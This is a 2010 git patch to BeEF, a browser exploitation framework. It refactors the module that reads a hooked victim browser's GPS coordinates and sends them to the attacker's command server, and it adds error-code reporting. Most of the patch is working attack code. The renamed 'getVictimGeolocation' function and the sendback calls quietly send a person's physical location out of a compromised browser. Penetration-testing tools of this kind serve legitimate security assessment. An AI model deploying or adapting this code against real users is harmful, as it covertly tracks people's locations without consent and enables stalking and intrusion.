From 31ebef8693bb1bcd7eac566fcc060a165dd296fd Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Sun, 14 Nov 2010 17:36:25 +0000 Subject: [PATCH] updated physical location code git-svn-id: https://beef.googlecode.com/svn/trunk@524 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/beefjs/geolocation.js | 54 +++++++++++-------- .../physical_location/physical_location.js | 10 ++-- 2 files changed, 39 insertions(+), 25 deletions(-) diff --git a/modules/beefjs/geolocation.js b/modules/beefjs/geolocation.js index 09cf03ca9..192510acb 100644 --- a/modules/beefjs/geolocation.js +++ b/modules/beefjs/geolocation.js @@ -9,35 +9,47 @@ beef.geolocation = { * check if browser supports the geolocation API */ isGeolocationEnabled: function(){ - var isEnabled = false; - - if (navigator.geolocation) { - isEnabled = true; - } - - return isEnabled; + return !!navigator.geolocation; }, /* * retrieve latitude/longitude using the geolocation API */ - getVictimGeolocation: function (command_url, command_id){ - //var result = null; + getGeolocation: function (command_url, command_id){ - if (navigator.geolocation) { - navigator.geolocation.getCurrentPosition( - function(position){ //note: this is an async call - var latitude = position.coords.latitude; - var longitude = position.coords.longitude; - beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude); + if (!navigator.geolocation) { + beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False"); + return; + } + + navigator.geolocation.getCurrentPosition( //note: this is an async call + function(position){ // success + var latitude = position.coords.latitude; + var longitude = position.coords.longitude; + beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True"); - }, function(position){ - beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR"); - }); - } else { - beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED"); - } + }, function(error){ // failure + switch(error.code) // Returns 0-3 + { + case 0: + beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False"); + return; + case 1: + beef.net.sendback(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False"); + return; + case 2: + beef.net.sendback(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False"); + return; + case 3: + beef.net.sendback(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False"); + return; + } + beef.net.sendback(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False"); + }, + {enableHighAccuracy:true, maximumAge:30000, timeout:27000} + ); } } + beef.regCmp('beef.geolocation'); \ No newline at end of file diff --git a/modules/commands/host/physical_location/physical_location.js b/modules/commands/host/physical_location/physical_location.js index 41a21c909..de635f0a3 100644 --- a/modules/commands/host/physical_location/physical_location.js +++ b/modules/commands/host/physical_location/physical_location.js @@ -1,9 +1,11 @@ beef.execute(function() { - if(beef.geolocation.isGeolocationEnabled()){ - beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>); - }else{ - beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude="); + if(!beef.geolocation.isGeolocationEnabled()){ + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=FALSE&latitude=&longitude="); + return; } + + beef.geolocation.getGeolocation("<%= @command_url %>", <%= @command_id %>); + });